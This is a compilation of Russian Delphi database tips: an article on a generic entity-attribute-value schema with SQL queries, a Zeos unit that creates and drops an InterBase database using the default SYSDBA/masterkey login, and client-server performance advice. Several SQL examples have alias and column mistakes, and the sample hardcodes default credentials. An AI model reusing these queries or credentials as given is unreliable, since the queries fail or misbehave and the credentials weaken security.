SELECT O.ItemName, S.Value
  FROM Objects O
   INNER JOIN ObjType OT ON O.TypeId = OT.Id
   LEFT JOIN Strings S ON O.Id = S.ObjectId
   LEFT JOIN StrDesc SD ON S.TypeId = SD.Id
 WHERE OT.Code = 'EMPLOYEE'
   AND SD.TypeId = OT.Id
   AND SD.Code = 'EMAIL'

Интересный эффект можно получить, создав у различных типов объектов атрибуты с одинаковыми значениями поля Code. Предположим, что у объектов типов EMPLOYEE (сотрудник) и FIRM (организация) есть строковые атрибуты с одинаковым именем 'EMAIL'. Тогда можно одним запросом получить адресную книгу по всем известным в БД почтовым адресам.

SELECT O.ItemName, OT.ItemName, S.Value
  FROM Objects O
   INNER JOIN ObjType OT ON O.TypeId = OT.Id
   INNER JOIN Strings S ON O.Id = S.ObjectId
   INNER JOIN StrDesc SD ON S.TypeId = SD.Id
 WHERE SD.Code = 'EMAIL'
ORDER BY OT.ItemName, O.ItemName

Если впоследствии добавится еще какой-то объект, имеющий аналогичный атрибут – его наличие будет немедленно учтено и он появится в списке без каких-либо модификаций БД и запросов. Добиться подобного результата в БД с традиционной структурой будет, как минимум, сложно.

Числовые атрибуты
Для простоты будем предполагать, что для хранения любых числовых атрибутов достаточно одного типа данных, например DECIMAL(20,4). В серверах, поддерживающих тип MONEY удобно реализовывать хранение на базе этого типа. Если же логика БД требует выделения отдельного целого, либо другого типа данных – можно сделать это путем выделения для него отдельной группы таблиц. В остальном, хранение значений этого типа аналогично строковым. Описание атрибутов хранится в таблице:
PropDesc
Id INTEGER Первичный ключ
TypeId INTEGER REFERENCES ObjType(Id) Ссылка на тип объекта
Code CHAR(10) Краткое название параметра
ItemName CHAR(30) Полное название параметра, используется только для интерфейса.
А сами атрибуты – в таблице:
Properties
Id INTEGER Первичный ключ
TypeId INTEGER REFERENCES PropDesc(Id) Ссылка на тип параметра
ObjectId INTEGER REFERENCES Objects(Id) Ссылка на объект
Value DECIMAL(20,4) Значение параметра. На серверах, поддерживающих тип данных MONEY (аналог Currency в Delphi), удобно использовать этот тип.
При необходимости возможно дополнение таблицы PropDesc дополнительными полями, задающими минимальное и максимальное значение атрибута, значение по умолчанию и т.п. Проверка корректности этих значений может осуществляться в триггере на изменение таблицы Properties

Исторические атрибуты
Многие объекты в процессе своей «жизни» изменяют своё состояние. Так, сотрудник может быть принят на работу, уволен, снова принят, товар оприходован и продан и т.д. Для описания состояний объекта служит таблица:
Status
Id INTEGER Первичный ключ
TypeId INTEGER REFERENCES ObjType(Id) Ссылка на тип объекта
Code CHAR(10) Краткое название состояния
ItemName CHAR(30) Полное название состояния, используется только для интерфейса.
Например, для человека допустимые состояния могут включать:
«WASBORN» - Дата рождения
«EMPLOYEED» - Принят на работу
«DISMISS» - Уволен
При этом, возможно реализовать логику, когда любое состояние может возникать многократно, например человек может быть принят, уволен, потом опять принят и т.п.
Сама история состояний хранится в таблице:
History
Id INTEGER Первичный ключ
StatusId INTEGER REFERENCES Status(Id) Ссылка на тип состояния
ObjectId INTEGER REFERENCES Objects(Id) Ссылка на объект
ItemDate DATETIME Дата возникновения состояния
При изменении состояния объекта в History добавляется запись со ссылкой на это состояние и датой его возникновения. Например, при увольнении сотрудника, в его историю состояний добавляется запись с датой увольнения и ссылкой на состояние «DISMISS». Если этот же человек снова принят на работу – достаточно добавить новую запись с датой приема и ссылкой на состояние «EMPLOYEED». Список сотрудников, числящихся на работе на любую интересующую дату, может быть получен запросом вида:

SELECT O.ItemName, H.ItemDate AS Employeed
  FROM Objects O
   INNER JOIN ObjType OT ON O.TypeId = OT.Id
   INNER JOIN History H ON H.ObjectId = O.Id
   INNER JOIN Status S ON H.StatusId = S.Id
WHERE OT.Code = 'EMPLOYEE'
  AND S.Code = 'EMPLOYEED'
  AND H.ItemDate = (SELECT MAX(H1.ItemDate)
                      FROM History H1
                       INNER JOIN Status S1 ON H1.StatusId = S1.Id
                      WHERE H1.ObjectId = O.Id
                        AND H.ItemDate <= :DateParam
                        AND S1.Code IN ('EMPLOYEED', 'DISMISS'))

Перечислимые атрибуты
Последним видом атрибутов будут перечислимые типы, которые могут принимать одно из заранее заданного набора значений. Для этих данных нам понадобится не две, как для остальных, а три таблицы. Первая из них задаёт, какие перечисления допустимы для выбранного типа объекта:
EnumDesc
Id INTEGER Первичный ключ
TypeId INTEGER REFERENCES ObjType(Id) Ссылка на тип объекта
Code CHAR(10) Краткое название состояния
ItemName CHAR(30) Полное название состояния, используется только для интерфейса.
Вторая – определяет возможные значения для перечислимого типа:
EnumValues
Id INTEGER Первичный ключ
DescId INTEGER REFERENCES EnumDesc(Id) Ссылка на тип перечисления
Code CHAR(10) Краткое название значения
ItemName CHAR(30) Полное название значения, используется только для интерфейса.
И третья – непосредственно хранит значения, связанные с объектом:
Enums
Id INTEGER Первичный ключ
ValueId INTEGER REFERENCES EnumValues(Id) Ссылка на значение
ObjectId INTEGER REFERENCES Objects(Id) Ссылка на объект
Типичным примером использования этого типа данных является форма собственности фирмы. Для её определения необходимо вставить в EnumDesc строку
TypeId Code ItemName
Ссылка на ObjType для типа «FIRM» OWNERFORM Форма собственности
И в EnumValues:
DescId Code ItemName
Ссылка на EnumDesc для ИЧП Индивидуальное частное предприятие
типа «OWNERFORM» ООО Общество с ограниченной ответственностью
...
Таким образом, мы получили возможность описать произвольный набор свойств любой сущности, данные о которой хранятся в БД и отобразить её на единообразно хранимые объекты. Однако, на настоящий момент, база данных еще не пригодна для решения сколько-либо сложных задач, поскольку реальные объекты любой предметной области имеют разнообразные связи друг с другом, которые еще не может отразить наша БД.

Связи
Сущности реального мира имеют между собой множество различных связей, определяющих их роль и место в этом мире. В традиционной методологии построения БД связи отображаются на ссылки (REFERENCES) между таблицами, в которых хранится описание соответствующих сущностей. Такой подход обеспечивает высокую эффективность БД и возможность автоматической проверки и поддержания целостности связей (механизмы referential integrity), однако жестко ограничивает связи, хранимые в БД её структурой. В нашей структуре данных не предусмотрено отдельных полей для хранения ссылок на другие таблицы. Вместо них в БД вводятся дополнительные таблицы.
Первая из них описывает возможные типы связей, которые могут быть установлены между объектами

LinkType
Id INTEGER Первичный ключ
Code CHAR(10) Краткое название связи
ItemName CHAR(30) Полное название связи, используется только для интерфейса.
Например, сотрудник может быть связан с отделом, в котором он работает связью типа «EMPDEPART» (сотрудник в отделе). В то же время он может быть связан с отделом связью «BOSS» (начальник отдела). Со сторонней фирмой сотрудник может быть связан как менеджер, а с документом – как его создатель. Сами связи хранятся в таблице:
Links
Id INTEGER Первичный ключ
ParentId INTEGER REFERENCES Objects(Id) Ссылка на первый из связываемых объектов
ChildId INTEGER REFERENCES Objects(Id) Ссылка на второй из связываемых объектов
TypeId INTEGER REFERENCES LinkType(Id) Ссылка на тип связи.
Таким образом, чтобы получить менеджера, прикрепленного к фирме необходимо выполнить запрос:

SELECT O.ItemName
  FROM Objects O
   INNER JOIN Links L ON O.Id = L.ParentId
   INNER JOIN LinkType LT ON LT.Id = L.TypeId
WHERE LT.Code = 'MANAGER'
  AND L.ChildId = :FirmId  -- Первичный ключ объекта-фирмы
А всех сотрудников отдела поставок можно получить запросом:
SELECT Employee.ItemName
  FROM Objects Employee
   INNER JOIN Links L ON L.ChildId = Employee.Id
   INNER JOIN LinkType LT ON L.TypeId = LT.Id
   INNER JOIN Objects Departments ON L.ParentId = Departments.Id
   INNER JOIN ObjType OT ON Departments.TypeId = OT.Id
WHERE OT.Code = 'DEPARTMENT'
  AND LT.Code = 'EMPDEPART'
  AND Department.ItemName = 'Отдел поставок'

Опытные разработчики, видимо уже заметили слабость предлагаемой схемы – связи никак не контролируются и ничто не гарантирует, что "сотрудником" отдела не окажется счет-фактура. Поскольку описание связей между объектами является "сердцем" разрабатываемой БД, необходимо ввести в неё механизм, контролирующий допустимость устанавливаемой связи. Таким механизмом служит таблица допустимых связей:
AllowedLinks
Id INTEGER Первичный ключ
ParentId INTEGER REFERENCES ObjType(Id) Ссылка на тип первого из связываемых объектов
ChildId INTEGER REFERENCES ObjType(Id) Ссылка на тип второго из связываемых объектов
TypeId INTEGER REFERENCES LinkType(Id) Ссылка на тип связи.
На вставку и изменение записей в Links создается несложный триггер, который проверяет типы объектов для создаваемой связи и их допустимость по AllowedLinks. Так как разрешенные типы связей хранятся в таблице, мы получаем гибкий механизм для настройки БД под требования конкретной задачи. Если требуется задать новый тип связи между объектами – достаточно лишь добавить в AllowedLinks запись с этим типом связи и типами объектов.
Замечу, что предлагаемая модель позволяет легко хранить иерархические данные. Для этого надо лишь задать связь типа "находится в".
Выбирая, какой тип объекта должен быть первым (ParentId), а какой вторым (ChildId) в связи, рекомендуется придерживаться единой системы. Для БД это безразлично, однако для уменьшения путаницы лучше в качестве первого выбирать объект, который бы оказался на стороне «один» отношения «один-ко-многим» при проектировании БД по классической методике. Если объекты связаны по принципу «многие-ко-многим» - надо просто выработать для себя единую методику и в дальнейшем ей следовать.

Расширение БД
Итак, полученная БД может хранить описание произвольных сущностей, позволяет динамически определять и устанавливать между ними произвольные связи. Для многих задач (например, отдел кадров) в которых каждый объект уникален этого уже достаточно. Однако, существует много задач, под которые полученное «ядро» неплохо было бы дополнить дополнительными возможностями
Налаживаем учет
Существует большой класс объектов, экземпляры которых с точки зрения учета не отличаются друг от друга. К таким объектам применимо понятие количества. Например, нам безразлично какие конкретно рубли лежат в кассе. Важно лишь знать СКОЛЬКО их там. Подобные объекты широко распространены в задачах учета материальных ценностей. Задачи учета требуют хранения в БД информации о перемещениях материальных ценностей и их остатках. Отметим, что остатки есть расчетная величина, которая может быть легко рассчитана из перемещений. Таким образом, хранение остатков может осуществляться в целях кэширования часто требующейся информации и его методика определяется скорее особенностями реализуемой системы. Часто можно вообще отказаться от него и пересчитывать остатки «на лету», по мере поступления запросов от пользователей.
Для хранения информации о перемещениях заведем таблицу:

Movement
Id INTEGER Первичный ключ
OperationId INTEGER REFERENCES Objects(Id) Ссылка на объект-операцию, группирующую логически связанные перемещения
ContainerId INTEGER REFERENCES Objects(Id) Ссылка на объект-хранилище на который совершается приход, либо с которого совершается расход
ContentId INTEGER REFERENCES Objects(Id) Ссылка на объект, который перемещается
Amount DECIMAL(20,4) Количество
ItemDate DATETIME Дата перемещения
Рассмотрим некоторые поля этой таблицы подробнее.
OperationId
Каждая операция может состоять из нескольких перемещений. Например, расход товара со склада и приход его на фирму-покупателя. Чтобы иметь возможность логически связать эти перемещения они группируются в операцию. В то же время операция часто имеет ряд дополнительных атрибутов (менеджер, срок выполнения, тип) и т.п. Поэтому – объявим операцию объектом, и будем хранить информацию о ней наравне с другими объектами БД. Можно завести отдельные типы объектов для различных операций, диктуемых предметной областью. Наша схема позволяет легко определить такие виды операций как:
· продажа товара – расход товара со склада, приход денег в кассу, расход денег с фирмы-покупателя, приход товара на фирму-покупатель
· конвертация – расход одной валюты и приход другой (возможно на другой счет)
· производство – расход нескольких товаров со склада материалов и приход одного (или нескольких же) других товаров на склад готовой продукции
· бухгалтерская проводка – дебет одного счета и кредит другого (либо нескольких других)
и т.п.

ContainerId
Ссылка на объект-хранилище на который приходят, либо с которого уходят материальные ценности. Таким объектом может быть склад, касса, фирма-контрагент и т.п. Хранилище само может выступать как перемещаемый объект – например, гвозди лежат в ящике, а ящик лежит на складе.

Amount
Перемещаемое количество. Если Amount > 0 – это приход, иначе - расход
Поскольку все операции однообразно хранятся в одной таблице, появляются богатые возможности по ведению аналитики. Например, остатки денег в кассе на любую дату можно получить несложным запросом

SELECT Sum(Amount)
  FROM Movement
WHERE ContentId = :<Id объекта «рубли»>
  AND ContainerId = :<Id объекта «касса»>
  AND ItemDate <= :InterestDate
Запрос:
SELECT O.Id, O.ItemName, SUM(M.Amount)
  FROM Movement M
   INNER JOIN Object O ON M.ContentId = O.Id
   INNER JOIN ObjType OT ON O.TypeId = OT.Id
 WHERE OT.Code = 'GOOD'
   AND M.Amount > 0
   AND M.ContainerId = :<Id объекта «склад»>
   AND M.ItemDate BETWEEN :StartDate AND :EndDate
GROUP BY O.Id, O.ItemName

вернет суммы прихода на склад по всем товарам (тип объекта «GOOD») за период от StartDate до EndDate.
Истинная мощь аналитических возможностей становится понятной, если вспомнить о богатых возможностях группировки объектов по связям между ними (Links).
Как и в случае со связями между объектами, желательно иметь механизм, не позволяющий проводить недопустимых с точки зрения бизнес логики операций. Для этого в БД вводится таблица:
AllowedMovement
Id INTEGER Первичный ключ
ContainerId INTEGER REFERENCES ObjType(Id) Ссылка на тип объекта-хранилища
ContentId INTEGER REFERENCES ObjType(Id) Ссылка на тип перемещаемого объекта
Триггер на таблицу Movement не допускает создания записей с недопустимыми (т.е. отсутствующими в AllowedMovement) типами объектов.

Цены
Под ценой мы будем понимать некоторый курс, по которому один объект может быть обменен на другой. Так, ценой может являться курс обмена валюты или отпускная цена. При этом, для каждого объекта может существовать много цен (цена оприходования, отпускная и т.п.). Для хранения типов цен добавим в БД таблицу:
PriceType
Id INTEGER Первичный ключ
Code CHAR(10) Краткое название типа цены
ItemName CHAR(30) Полное название типа цены, используется только для интерфейса.
Сами цены будем хранить в таблице:
Price
Id INTEGER Первичный ключ
TypeId INTEGER REFERENCES PriceType(Id) Ссылка на тип цены
WhereId INTEGER REFERENCES Objects(Id) Ссылка на объект по которому установлена цена. Это может быть наша фирма, участок обмена валюты, валютная биржа, фирма-контрагент и т.п.
ObjectId INTEGER REFERENCES Objects(Id) Ссылка на объект, цена которого устанавливается данной записью
CurrencyId INTEGER REFERENCES Objects(Id) Ссылка на объект, в единицах которого выражена цена
Value DECIMAL(20,4) Цена
PriceDate DATETIME Дата, начиная с которой действует цена
Таким образом, мы можем задать любое количество цен по любому объекту. Например, товар по оприходованию получает входную цену, затем ему назначается долларовая цена, а впоследствии, время от времени начиная с каких-то дат назначается рублевая цена. Каждая из подсистем учета (бухгалтерия, торговый зал и т.п.) может выбирать и работать с интересующими их ценами. Для ведения курсов валют достаточно завести объекты, устанавливающие эти курсы и по ним вести цену типа "EXCHANGE" (курс обмена) по интересующим валютам.

Проблемы и пути их решения
При построении БД мы пошли на ряд очень серьёзных компромиссов, обеспечивших нам чрезвычайную гибкость и настраиваемость подсистемы хранения. Разработчику полезно знать возникающие при этом проблемы, чтобы иметь возможность учесть их при использовании подобной системы.
Ослабленный контроль за целостностью данных
Разбив данные об одном объекте по нескольким таблицам, мы теряем возможность на декларативном уровне контролировать правильность ввода данных. Так, нельзя указать серверу не позволять вводить объект при незаполненном атрибуте, либо неуказанной связи с другим объектом. Таким образом, на разработчика и администратора ложится дополнительная работа по программированию проверки ограничений и по недопущению прямой работы пользователей с БД. Задача это хорошо решается путем создания сервера приложений, через который осуществляется доступ к данным. При отсутствии такой возможности рекомендуется манипуляции с объектами вынести в хранимые процедуры, лишив пользователей БД права модифицировать таблицы напрямую.
При необходимости возможно дополнение таблиц, хранящих описание атрибутов (StringDesc, PropDesc и т.п.) полями, несущими информацию об ограничении значений вводимого атрибута. Например, можно добавить в таблицу PropDesc поля MinValue и MaxValue и в триггере на таблицу Properties проверять соответствие вводимых значений заданному диапазону. Подобные расширения зависят от конкретной реализации всей системы и здесь для простоты не рассматривались, однако, разработчик имеет возможность применить их про необходимости.

Понижение быстродействие при выборке данных
Хранение атрибутов в различных таблицах требует аккуратности при программировании выборки множества объектов. Так, чтобы получить одновременно несколько атрибутов придется написать запрос вида:

SELECT O.Id, S1.Value AS Family, S2.Value AS FirstName,
       S3.Value AS LastName, H.ItemDate AS BirthDate
  FROM Objects O
   INNER JOIN ObjType OT ON OT.Id = O.TypeId
   LEFT JOIN Strings S1 ON O.Id = S1.ObjectId
   LEFT JOIN StrDesc SD1 ON S1.TypeId = SD1.Id
   LEFT JOIN Strings S2 ON O.Id = S2.ObjectId
   LEFT JOIN StrDesc SD2 ON S2.TypeId = SD2.Id
   LEFT JOIN Strings S3 ON O.Id = S3.ObjectId
   LEFT JOIN StrDesc SD3 ON S3.TypeId = SD3.Id
   LEFT JOIN History H ON O.Id = H.ObjectId
   LEFT JOIN Status S ON H.TypeId = S.Id
 WHERE OT.Code = 'PEOPLE'
   AND SD1.Code = 'FAMILY'
   AND SD2.Code = 'FIRSTNAME'
   AND SD3.Code = 'LASTNAME'
   AND S.Code = 'BIRTHDATE'

Кроме неудобства в написании (об этом мы поговорим позже) такой запрос может привести еще и к медленному выполнению на сервере. Выходом из ситуации может послужить автоматическое формирование в поле Objects.ItemName краткого описания объекта, необходимого для поиска его в списке себе подобных и использование преимущественно этого поля. Прочие атрибуты, выводимые в список объектов должны по возможности исключаться из него. Как правило, это условие вполне выполнимо. Практика показывает, что вывод имени объекта и двух-трех атрибутов вполне достаточен для его выбора и практически не создают проблем для сервера.

Сложность в понимании структуры и выборке данных
Структура БД, не ориентированная на бизнес-логику часто бывает затруднительной для понимания. Часто, даже достаточно квалифицированным разработчикам требуется некоторое время, чтобы понять принципы хранения объектов и связи между ними. Еще хуже обстоит дело с конечными пользователями, которым бывает нужен нестандартный доступ к хранящейся в БД информации для её анализа. Преодолением данной проблемы может послужить создание набора представлений (VIEW), предоставляющих более простой доступ к данным. Так, создав следующие представления:

CREATE VIEW vObjects AS
  SELECT O.*, OT.Code
    FROM Objects O
     INNER JOIN ObjType OT ON O.TypeId = OT.Id
CREATE VIEW vStrings AS
  SELECT S.*, SD.Code, OT.Code AS TypeCode
    FROM Strings S
     INNER JOIN StrDesc SD ON S.TypeId = SD.Id
     INNER JOIN ObjType OT ON SD.TypeId = OT.Id
CREATE VIEW vHistory AS
  SELECT H.*, S.Code, OT.Code AS TypeCode
    FROM History H
     INNER JOIN Status S ON H.TypeId = S.Id
     INNER JOIN ObjType OT ON S.TypeId = OT.Id
Мы сможем записать запрос из предыдущего раздела как:
SELECT O.Id, S1.Value AS Family, S2.Value AS FirstName,
       S3.Value AS LastName, H.ItemDate AS BirthDate
  FROM vObjects O
   LEFT JOIN vStrings S1 ON O.Id = S1.ObjectId
   LEFT JOIN vStrings S2 ON O.Id = S2.ObjectId
   LEFT JOIN vStrings S3 ON O.Id = S3.ObjectId
   LEFT JOIN vHistory H ON O.Id = H.ObjectId
 WHERE O.Code = 'PEOPLE'
   AND S1.Code = 'FAMILY'
   AND S2.Code = 'FIRSTNAME'
   AND S3.Code = 'LASTNAME'
   AND S.Code = 'BIRTHDATE'

Очевидно, что такой запрос уже гораздо проще воспринимается неподготовленным человеком. Также можно создать представления для различных типов объектов с набором их наиболее употребимых атрибутов.

Построение клиентской части
В роли клиентской части для такой БД как правило выступает сервер приложений, реализующий слой бизнес логики. Для его создания реализуется иерархия классов
TBaseDBObject
 +--TInvoice
 +--TEmployee
 ...
В TBaseDBObject реализуется базовая функциональность по загрузке свойств из БД и сохранению их в БД, а также интерфейсные методы, позволяющие ему общаться со слоем представления данных, расположенном на клиентской машине. Наследники создаются для каждого типа объектов в БД и реализуют логику их поведения. Возможна реализация этих объектов как COM – серверов, скомпилированных в отдельные DLL и подключаемых в основному модулю сервера приложений при необходимости (либо, например, как объектов Microsoft Transaction Server).

При построении интерфейса пользователя удобно реализовать набор базовых классов, умеющих работать с информацией о произвольном объекте БД. Такие классы, оформленные в виде компонентов, позволяют легко компоновать интерфейсные решения для работы с конкретными типами объектов. На рисунке приведены два таких компонента – наследник TListBox, отображающий информацию о свойствах объекта и наследник TTreeView, отображающий другие объекты, связанные с выбранным и типы связей. Оба они реализованы независимыми от типа конкретного объекта, за счет единообразия хранения информации о свойствах и связях. Такая пара компонентов легко позволяет реализовать произвольное перемещение по связям между объектами в БД, что достаточно сложно реализуется в традиционной БД.

Тенцер А. Л.
ICQ UIN 15925834
tolik@katren.nsk.ru


Создание базы данных в run-time с ZEOS?

Примечание от Vit: Zeos - популярный бесплатный пакет доступа к базам данных, подробности см. на sourceforge.net

{
 This unit creates a database on a Interbase-Server at run-time.
 The IBConsole is no longer needed.
 You can execute an SQL script to create tables.
 Try it out!
}

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ZTransact, ZIbSqlTr, DB, ZQuery, ZIbSqlQuery,
  ZConnect, ZIbSqlCon;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Memo1: TMemo;
    Button2: TButton;
    ZIbSqlQuery1: TZIbSqlQuery;
    ZIbSqlTransact1: TZIbSqlTransact;
    ZIbSqlDatabase1: TZIbSqlDatabase;
    Button3: TButton;
    procedure Button1Click(Sender: TObject);   // Caption/
    procedure Button2Click(Sender: TObject);   // Caption/
    procedure Button3Click(Sender: TObject);   // Caption/
  private
  public
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

// Creating the database
procedure TForm1.Button1Click(Sender: TObject);
begin
  ZIbSqlDatabase1.Database := '<<Pfad zu Datenbank>>';// Path to Database
  ZIbSqlDatabase1.Host := 'testserver';
  ZIbSqlDatabase1.Password := 'masterkey';
  ZIbSqlDatabase1.Login := 'SYSDBA';
  ZIbSqlDatabase1.CreateDatabase('');
end;

// Execute the SQL-Script in the memo
procedure TForm1.Button2Click(Sender: TObject);
begin
  ZIbSqlDatabase1.Database := '<<Pfad zu Datenbank>>'; // Path to Database
  ZIbSqlDatabase1.Host := 'testserver';
  ZIbSqlDatabase1.Password := 'masterkey';
  ZIbSqlDatabase1.Login := 'SYSDBA';
  ZIbSqlQuery1.SQL.Clear;
  ZIbSqlQuery1.SQL.AddStrings(memo1.Lines);
  ZIbSqlQuery1.ExecSQL;
end;

// Deleted the database
procedure TForm1.Button3Click(Sender: TObject);
begin
  ZIbSqlDatabase1.Database := '<<Pfad zu Datenbank>>'; // Path to Database
  ZIbSqlDatabase1.Host := 'testserver';
  ZIbSqlDatabase1.Password := 'masterkey';
  ZIbSqlDatabase1.Login := 'SYSDBA';
  ZIbSqlDatabase1.DropDatabase;
end;

end.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Переходим на клиент-сервер (советы), на примере MS SQL Server

Эта статья адресована прежде всего тем, кто работал с локальными базами и данных и теперь переходит на использование сервеных баз данных. Будет полезна так же и тем кто решил осваивать работу с базами данных сразу с серверных баз.

А собственно в чём проблема?

На первый взгляд подключаем сервер вместо того же парадокса и почти всё работает – так же можно бросить грид и посмотреть таблицу, так же можно выполнить селект. В чём же принципиальное отличие? Может не надо морочить голову и поменяв в BDE параметры Alias оставить всё как есть? Или просто заменить BDE компоненты на ADO? Ответ таков – что да, в простейшем случае всё работает, но не очень быстро даже при монопольном доступе и малых размерах таблиц, при увеличении размеров таблиц и подключении нескольких пользователей система начинает умирать, простые запросы выполнятся минутами, а то и часами… Вот тут-то и приходим к тому что простейшей заменой способа доступа к базе данных обойтись не получится.

Вот существенные моменты о которых надо помнить при разработке даже простейших систем клиент сервер, это ЧРЕЗВЫЧАЙНО важные моменты, их надо всегда учитывать!

1. Любые действия с базой данных происходят через сеть, поэтому программируя любые операции над базой данных програмист должен задать себе вопрос: а какой собственно сетевой трафик я создам этими действиями? Сколько мегабайт должно будет пройти через сетку в результате моих действий?

2. Приложение не работает с таблицами монопольно, другие клиенты тоже что-то делают с базой данных. Не блокируют ли мои действия другие программы? Если блокируют то как надолго? А действительно мне надо чтобы мои действия блокировали таблицы других клиентов?

3. Как именно будет мой запрос выполнятся сервером? Используйте индексы и ключи! Учтите что в отличие от локальных баз данных при отсутствии индекса SQL запрос будет выполнятся точно так же как и с индексом, никаких ошибок не будет, даже быстродействие на первых порах может не уменьшится, только потребление ресурсов процессора на сервере возрастёт – проблемы появятся позже… Всегда надо смотреть что именно сервер будет делать при запросе.

Помните что если вы не учли какой-то из этих моментов НИКАКИХ ошибок компиллятор вам не выдаст, а тестовое приложение на тестовых небольших базах данных в едином экземпляре будет работать великолепно, проблемы возникнут позже, когда програму начнут реально использовать.

Доступ к базам данных и производительность.

Если вы переходите на на клиент-сервер вам прийдётся отказаться от BDE. BDE – очень хорошая система для локальных баз данных и показывает отличную производительность на локальных таблицах при монопольном доступе. BDE вполне можно подключить чуть ли не к любым серверам баз данных, однако изначально разрабатывавшаяся с рассчётом на локальные базы данных BDE не даст вам хорошей производительности даже на небольших базах данных, при работе с большими базами данных и при большом количестве одновременных подключений BDE начинает работать исключительно медленно. Кроме того, Local SQL – диалект SQL для BDE довольно беден и многие сервера баз данных поддерживают несравненно более сложные и мощные диалекты SQL. ODBC – родной брат BDE в реализации MS – не блистал скоростью даже с локальными базами данных, не стоит его использовать и для на клиент-сервера. DAO – изначально был рассчитан на локальные базы от MS и с серверами не работает даже теоретически. Итого – из глобальных систем доступа к базам данных мы имеем ADO (OLE DB) и DBExpress. Я не специалист в DBExpress и не могу много сказать, но знакомство с документацией и отзывами пользователей привносит впечатление о достаточно слабой реализации и ограниченных возможностях. В то же время ADO в настоящее время пожалуй является одной из наиболее развитых и продвинутых систем. Кроме того не надо забывать что почти все производители серверов поставляют свои драйверы для доступа к базам данных.

Хм… Вы тут понаписывали, а я вот создал таблицу в парадоксе, подключился через BDE запустил Select, а потом сделал такую же таблицу в MS SQL Server, подключился через ADO запустил такой же Select – и получил что производительность парадокса на 2 порядка выше! В чём же прикол и на фига мне нужен тогда этот сервер и ADO?

Угу! Это действительно так! Но только в случае небольших локальных таблиц и при однопользовательском доступе! Если вы положите табличку в сетевую папку, сделаете её размером в сотню-другую тысяч записей, будете премежать Select с Update, и запустите десяток приложений с разных компьютеров которые будут это проделывать с этой табличкой одновременно, то получите картину производительности такую, что MS SQL Server + ADO будет работать почти с той же скоростью что и при монопольном доступе, а вот производительность парадокса при таком раскладе упадёт практически до нуля.

А может ну их эти драйвера! Может проще подключится как нибудь напрямую, через какие-нибудь API или вообще через сокеты? Зачем эти потери времени, дополнительные слой програм? Может я лучше всё сам и вручную сделаю лучше?

Должен разочаровать – совершенно бессмысленное занятие. Обычно никаких таких специальных API и не существует. Для подавляющего большинства баз данных единственным средством общения с внешним миром является SQL. И всё что делает драйвер – это передаёт этот SQL запрос от вашего приложения серверу, сервер внутри себя этот запрос компиллирует и выполняет, генерируя поток данных который передаётся клиенту. Обычно драйвера выполняют ещё и довольно сильное кэширование потока данных на клиенте и асинхронную передачу данных по запросу, что обеспечивает довольно значительное увеличение производительности, поэтому даже исхитрившись написать свой собственый драйвер к серверу вы вряд ли сможете достичь производительности коммерческих продуктов, во всяком случае это достаточно сложная и трудоёмкая задача.

Итак ADO. Что мне использовать?

Легче сказать что не использовать: категорически не рекомендуется использовать компонент TADOTable. Вся идеология клиент-сервера базируется на SQL запросах. В идеале НЕТ НИКАКИХ других способов взаимодействия с сервером кроме SQL запроса, поэтому TADOTable будет лишь эмулировать поведение TADOQuery, а в реале это приведёт к очень неоптимальным запросам и резкому падению производительности. Везде где это можно используйте SQL запросы.

Сетевой трафик

Вернёмся к сетевому трафику. Вот чего не следует делать, так это посылать запросы типа

Select * From MyTable

Перед тем как послать такой запрос обязательно подумайте во-первых – в данный конкретный момент а все ли записи вам нужны? Ограничте их количество либо условием выборки:

Select * From MyTable
Where MyField='что-то там'

Либо указанием директивно взять не более чем несколько записей :

Select top 10 * From MyTable

Синтаксис данного запроса не является стандартом SQL, это будет работать для MS SQL Server, для других серверов смотрите их документацию.

Во-вторых – а все ли поля вам нужны? Даже если вам нужно 100 полей из 200 и их перечисление в запросе превратит этот запрос из запроса в одной строчке в запрос размером с килобайт он будет выполнятся существенно быстрее! Всегда ограничивайте запрос только теми полями которые вам непосредственно нужны в данный момент!

А если мне всё-таки в программе нужны все 1000000 записей таблицы?

Сложный вопрос… Есть несколько вариантов решения:
1) Подумать как изменить архитектуру, чтобы не надо было н клиент тащить столько информации – это самый лучший выход
2) Брать информацию по кускам, разбить запрос на несколько мелких.
3) Снять блокировки устанавливаемые при взятии данных (об этом позже)
4) Перенести логику на сервер, написать хранимую процедуру которая вместо вашего приложения будет работать с выборкой непосредственно на сервере

Блокировки.

Пожалуй один из наиболее болезненных вопросов. Всегда надо помнить, что пока ваша программа что-то делает с данными, кто-то другой тоже с ними чего-то делает. В 95% случаев ваши действия не должны мешать другим, а другие вам. Рассмотрим ситуацию – у вас на сервере таблица содержащая данные о погоде по стране. Вам надо узнать погоду в Москве – и вы запрашиваете эти данные. А программа вашего коллеги – Васи в это время обновляет данные о погоде, которые получает от гидрометеоцентра. Вопрос: должны ли Васины действия мешать Вам? Очевидно нет! Вам всё равно что делает Вася – вам нужна погода, если она ещё не обновлена, то Вас устроят данные которые вносились час назад, а если обновлена – то свежие. Но Вася по своей наивности пошёл простым путём – открыл таблицу эксклюзивно и меняет данные – ваш запрос не проходит! Итого – всегда надо думать нужно ли блокировать и если нужно то что именно. Иногда блокировки нужны, для обеспечения целостности данных. Например проходит платёж и он должен пройти по всем таблицам и всем ведомостям, причём ГАРАНТИРОВАННО по всем, если в какой-то таблице данные не обновились то платёж не прошёл и изменения надо отменить, кроме того пока проходит платёж нельзя чтобы кто-то тоже изменял данные, и даже читал данные – это может привести к тому что данные будут неправильными в следствии того что в каких-то таблицах данные уже изменены а в каких то нет. Вот тут то и нужна жестокая блокировка… но надо учесть, что на момент блокировки остальные клиенты будут ждать её окончания, следовательно Вам нельзя заблокировать таблицу и начать выспрашивать пользователя какие-то данные, а пользователь уморившись решит вообще перекурить, а то и забудет комп и пойдёт домой и останутся все клиенты без данных на очень долго. Следовательно, надо к началу блокировки иметь все нужные данные, а начав запросы которые блокируют таблицу, надо их завершить в самые кратчайшие сроки. Код в программе который выполняется во время блокировки должен быть минимальный, никаких дополнительных действий и длительных циклов, тем более никаких опросов операторов и чтения чего-то из сети. Теперь допустим Вася получил погоду в виде таблицы гигабайтного размера, и решил одним махом обновить данные в вашей рабочей таблице, для чего запускает один единственный Update который за какие-то пол часа обновляет несколько десятков миллионов записей. Только пока такой Update идёт использовать таблицы очень проблематично… Таблица заблокирована или совсем, или настолько загружена что толку с неё всё равно не много… А Вам 